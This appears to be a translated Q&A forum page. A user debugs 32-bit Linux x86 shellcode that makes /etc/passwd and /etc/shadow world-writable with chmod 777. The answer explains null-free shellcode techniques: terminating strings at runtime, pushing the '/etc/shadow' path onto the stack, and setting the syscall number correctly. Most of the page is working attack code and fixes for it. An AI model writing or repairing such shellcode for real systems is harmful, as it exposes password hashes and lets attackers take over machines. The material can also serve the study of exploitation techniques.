为什么这个组装不起作用?

时间:2016-11-03 02:08:24

标签: assembly x86 shellcode

section .text
    global _start
_start:
    jmp short init

    main2:
    mov al, 15
    pop ebx
    mov ecx, 0x111111ff
    shl ecx, 0x14
    shr ecx, 0x14
    int 0x80

    xor ebx, ebx
    mul ebx
    mov al, 1
    int 0x80

    main1:
    mov al, 15
    pop ebx
    mov ecx, 0x111111ff
    shl ecx, 0x14
    shr ecx, 0x14
    int 0x80

    xor ebx, ebx
    mul ebx
    mov ecx, eax

    call main2
    db '/etc/shadow'

    init:
    call main1
    db '/etc/passwd'

这设法将/ etc / passwd设置为777,但/ etc / shadow保持不变。执行流程确实通过main2,但它对/ etc / shadow没有任何作用。用这个替换main2的功能:

EAX: 4 ; sys_write
EBX: 1 ; stdout
ECX: '/etc/shadow' ; popped from stack with "pop ecx", holds "/etc/shadow"
EDX: 11
int 0x80

打印出" / etc / shadow"正确地进入终端。

最后," info reg"在GDB中显示ECX在中断之前的值为" 0x1ff",这相当于" chmod 777"。那么为什么这不起作用呢?

编辑:因为在' / etc / shadow'结尾处有垃圾,代码无法正常工作。所以现在我的问题是,为什么最后会有垃圾,我应该如何让它工作。

1 个答案:

答案 0 :(得分:0)

  

为什么最后会有垃圾

因为你把它放在那里。汇编程序只是将字节汇编到输出文件中,因此您可以按正确的顺序输入正确的字节。

  

我应该如何让它发挥作用。

Jester已经在评论中回答了这个问题:"这是shellcode,通常不允许0字节。因此,字符串应该在运行时终止为零。"

因此,在/etc/shadow结束后留下一个字节供您覆盖,并在运行时用零覆盖它。 (使用xor eax,eax或其他内容注册为零。

请注意,如果将代码组装并作为独立的可执行文件运行,则字符串将位于只读文本段中。您可以将它们放在section .data中,以模拟将其注入另一个进程的堆栈时会发生什么。我忘记了Linux进程中默认哪些段是不可执行的。

另一种方法是将字符串压入堆栈。由于您使用的是32位代码,因此PUSH imm32应该很有用。 PUSH imm8可以在指令中为零填充而不为零。

喜欢也许

push  'w'         ; imm8  -> w 0 0 0
push  'hado'      ; imm32 -> h a d o
push  'tc/s' 
push  '///e'
mov   ebx, esp    ; ebp = pointer to '///etc/shadow'
;lea ebx, [esp+2]   ; skip the leading "//", just to show that this technique works even if you can't pad your string to fill whole chunks of 4B.

在64位代码中,push imm32留下4个字节的零(或者一个,因为imm32符号扩展为64位)。您可以使用mov dword [rsp+4], imm32push word imm16来填充,一次推送2个字节。 (使堆栈未对齐。)x86-64机器代码无法编码32位操作数大小的推送。

代码中的其他错误:

  • mov al, 15没有设置其余的eax。它取决于获得正确的系统调用号的高位字节为零。

    试试push 15 / pop eax。请记住,编写shellcode时执行速度并不重要,因此您可以使用令人讨厌且速度慢的习语。对于code-golf /代码大小优化有益的一些相同的东西也很好,因为零字节通常是浪费的填充要避免。我在codegolf.SE上有几个x86机器代码答案。